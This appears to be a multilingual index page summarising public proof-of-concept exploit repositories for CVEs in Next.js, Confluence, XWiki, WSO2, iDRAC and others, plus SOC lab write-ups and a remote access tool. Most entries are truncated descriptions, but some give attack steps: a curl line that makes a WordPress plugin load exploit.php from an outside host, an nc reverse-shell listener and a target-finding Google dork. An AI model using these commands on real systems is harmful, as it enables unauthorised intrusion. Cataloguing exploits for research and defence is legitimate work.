React2Shell-PoC

React2Shell-PoC CVE-2025-55182 および CVE-2025-66478 の概念実証エクスプロイトです。これらは React Server Components RSC と Next.js アプリケーションにおける深刻なリモートコード実行の脆弱性です。 概要 React2Shell は、Next.js のサーバーアクションハンドラーにおける安全でないデシリアライゼーションの悪用を実証します。これにより、認証されていない攻撃者が特別に細工されたマルチパートフォームデータペイロードを使用して、脆弱なサーバー上で任意のコマンドを実行できるようになります。 ツール...

CVE-2025-37164-PoC

CVE-2025-37164 - HPE OneView 未認証RCE PoC HPE OneView における重大な（CVSS 10.0）未認証リモートコード実行脆弱性 CVE-2025-37164 の概念実証エクスプロイトです。 免責事項 本ソフトウェアは教育目的および許可されたセキュリティテスト目的でのみ提供されます。 自分が所有するシステム、または明示的な書面による許可を得たシステムでのみ使用してください コンピュータシステムへの不正アクセスは違法です 作者は本ツールの誤用や損害について一切の責任を負いません...

CVE-2022-21350

なぜ2つのpocなのか 1つは com.51pwn.hktalent.CreatJar.mainargs; 最小ペイロード生成ツールを作成するために使用されます 作成後にもう1つを使用します CVE-2022-21350powerBy51pwn.jar を実行してペイロードを構築する際にエラーが発生しても、ペイロードの使用には影響しません other exp CVE20202551 CVE20202555 CVE20202883 CVE202014645 CVE202014756 CVE202014825 CVE202014841 CVE20212394 CVE202221306...

wso2-rce-cve-2022-29464

CVE-2022-29464 WSO2 RCE（CVE-2022-29464）エクスプロイト。 詳細 CVE-2022-29464は、Orange Tsai氏によって発見されたWSO2の重大な脆弱性です。この脆弱性は、認証を必要としない無制限の任意ファイルアップロードであり、認証されていない攻撃者が悪意のあるJSPファイルをアップロードすることでWSO2サーバー上でRCEを獲得することを可能にします。...

CVE-2021-22204

CVE-2021-22204 - Exiftool リモートコード実行 説明 最近、研究者の wcbowling 氏が Exiftool ツールに脆弱性を発見しました。これにより、悪意のある攻撃者がリモートコード実行攻撃を行うことが可能になります。この脆弱性は GitLab のバグバウンティプログラムで発見されたもので、同プログラムではこのツールを製品の依存関係として使用しています。 使用方法 12行目（createFile.sh）に、自身の攻撃者マシンのIPアドレスを入力してください。 その後、次のコマンドを実行するだけです: $ bash createFile.sh...

Loki

Loki LokiはシンプルなR emote A ccess T ool（リモートアクセスツール）です。 Lokiは、感染したマシンとの通信を保護するためにRSA-2048 とAES-256 を使用します。 免責事項 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND...

CVE-2020-9496

CVE-2020-9496 ApacheOfBiz 17.12.01 - 未承認のリモートコード実行 XML-RPCリクエストは安全でないデシリアライゼーションに対して脆弱です。 手順 ステップ 1: pip3 install -r requeriments.txt ステップ 2: nc -nlvp 攻撃用コンピュータ ステップ 3: python3 shell.py -i -p -li -lp ステップ 4: ncリスナーにシェルが表示されるはずです...

Check-vuln-CVE-2019-0708

CVE-2019-0708 未经认证的 CVE-2019-0708 "BlueKeep" 扫描器 PoC，作者 @JaGoTu 和 @zerosum0x0。 Metasploit 模块 PR: https://github.com/rapid7/metasploit-framework/pull/11869 本仓库内容 rdesktop 的一个扫描分支，可检测主机是否受 CVE-2019-0708 Microsoft Windows 远程桌面服务远程代码执行漏洞影响。它不应导致拒绝服务，但对于多年来所有受影响的 RDP 堆栈版本，无法做到 100% 保证。由于未经认证，该扫描器对 NLA...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpressプラグイン RCE 事前認証なしのSocial Warfare WordpressプラグインにおけるRCE 概念実証 curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php 脆弱性のあるコード : 修正:...

dubbo-rce

CVE-2023-23638 学習・研究のみを目的としています ZooKeeper はご自身で用意してください テスト環境は Java 8 です。その他のバージョンは未テストのため、動作を保証できません 再現する際は DemoComsumer に VM 引数を追加する必要があります: -Ddubbo.hessian.allowNonSerializable=true, 詳細は https://su18.org/post/hessian/serializable を参照してください 分析記事:...

CVE-2019-11581

CVE-2019-11581 Atlassian JIRA テンプレートインジェクションの脆弱性 RCE デモ python CVE-2019-11581.py http://xx.xx.xx.xx:8080/ "Command" 脆弱性のあるバージョンのダウンロード https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe Poc...

CVE-2022-26134

CVE-2022-26134 - OGNL 주입 취약점. Atlassian Confluence 7.18 이하 제품에 영향을 미치는 원격 코드 실행 취약점을 악용하는 개념 증명 스크립트입니다. OGNL 주입 취약점으로 인해 인증되지 않은 사용자가 Confluence Server 또는 Data Center 인스턴스에서 임의 코드를 실행할 수 있습니다. 영향을 받는 버전 지원되는 모든 Confluence Server 및 Data Center 버전이 영향을 받습니다. 1.3.0 이후부터 7.18.1 이하의 Confluence Server...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Investigation OpenWire ラボ Tier 2 の Security Operations Center SOC アナリストとしてシフト中、Tier 1 アナリストから、複数の不審な外部IPアドレスと通信していることが観察された公開アクセス可能なサーバに関するエスカレーションを受け取りました。 これに対応し、私は標準的なインシデントレスポンス IR...

firewall

🛡️ Spring4Shell ファイアウォール防御 – サイバーセキュリティインシデントシミュレーション このプロジェクトは、2025年8月にForageを通じて完了したサイバーセキュリティ職務シミュレーションの一環です。Spring4Shell（CVE-2022-22965）の脆弱性を伴う実際のインシデントをシミュレートし、カスタムファイアウォールが悪用の試みをどのように検出・緩和できるかを示しています。 📌 プロジェクト概要...

CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 認証済みリモートコード実行 ⚠️ 免責事項 このリポジトリは教育および研究目的専用です。 すべてのデモは管理されたラボ環境で実施されました。 明示的な許可なしにシステムへの不正テストや悪用は違法かつ非倫理的です。著者はこの情報の誤用について一切の責任を負いません。 📌 Roundcubeとは？ Roundcube...

CVE-2018-1207-better

CVE-2018-1207 のエクスプロイト PoC: Dell iDRAC7/iDRAC8 RCE リバースシェル このリポジトリには、ファームウェアバージョン 2.52.52.52 以下の iDRAC7 および iDRAC8 デバイスに存在するリモートコード実行エクスプロイトを実証する Proof of Concept Python スクリプトが含まれています。このエクスプロイトにより、攻撃者は root...

LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320

🧠 LetsDefend SharePoint Zero-Day Analysis ToolShell - SOC342-CVE-2025-53770 📘 はじめに LetsDefend のサイバーラボで、ToolShell CVE-2025-53770 と呼ばれるSharePointのゼロデイを調査しました。 この演習は、悪意のあるPOSTリクエストが認証を迂回し、PowerShellを実行して MachineKeySection キーを盗み出し、payload.exe をコンパイルし、悪意のあるWebシェル spinstall0.aspx を配置する、現実のゼロデイRCE攻撃...

cve-2025-24893

CVE-2025-24893 XWiki RCE エクスプロイト CVE-2025-24893 （XWiki Platform のリモートコード実行の脆弱性）を、Groovyベースの async マクロと設定可能なリバースシェルペイロードを用いて悪用する、シンプルな Python3 スクリプトです。 ⚠️ 警告: このツールは教育目的および許可されたテスト目的のみ で提供されます。所有していない、または明示的なテスト許可を得ていないシステムに対する不正な使用は、違法かつ非倫理的です。 目次 機能 必要条件 インストール 使用方法 検出とプロトコルフォールバック リバースシェルペイロード...

thm-ice-icecast-rce-privesc

TryHackMe — Ice: Icecast 2.0.1 RCE と Windows 権限昇格 プラットフォーム: TryHackMe ターゲットOS: Windows 7 / Windows Server 2008 R2 難易度: 簡単 カテゴリ: バッファオーバーフロー RCE, ローカル権限昇格 概要 このレポートは、TryHackMe 上の Ice マシンの完全な侵害プロセスを、初期偵察から SYSTEM レベルの権限昇格までを文書化しています。ターゲットは、古い Icecast 2.0.1 ストリーミングメディアサーバーを公開しており、細工された HTTP...

ATutor-Instructor-Backup-Arbitrary-File

ATutor-Instructor-Backup-Exploit エクスプロイトタイトル: ATutor 2.2.4 'Backup' Remote Command Execution CVE-2019-12170 Google Dork: inurl:/ATutor/login.php 日付: 5/13/2019 エクスプロイト作成者: liquidsky Joseph McPeters ベンダーホームページ: https://atutor.github.io/ ソフトウェアリンク:...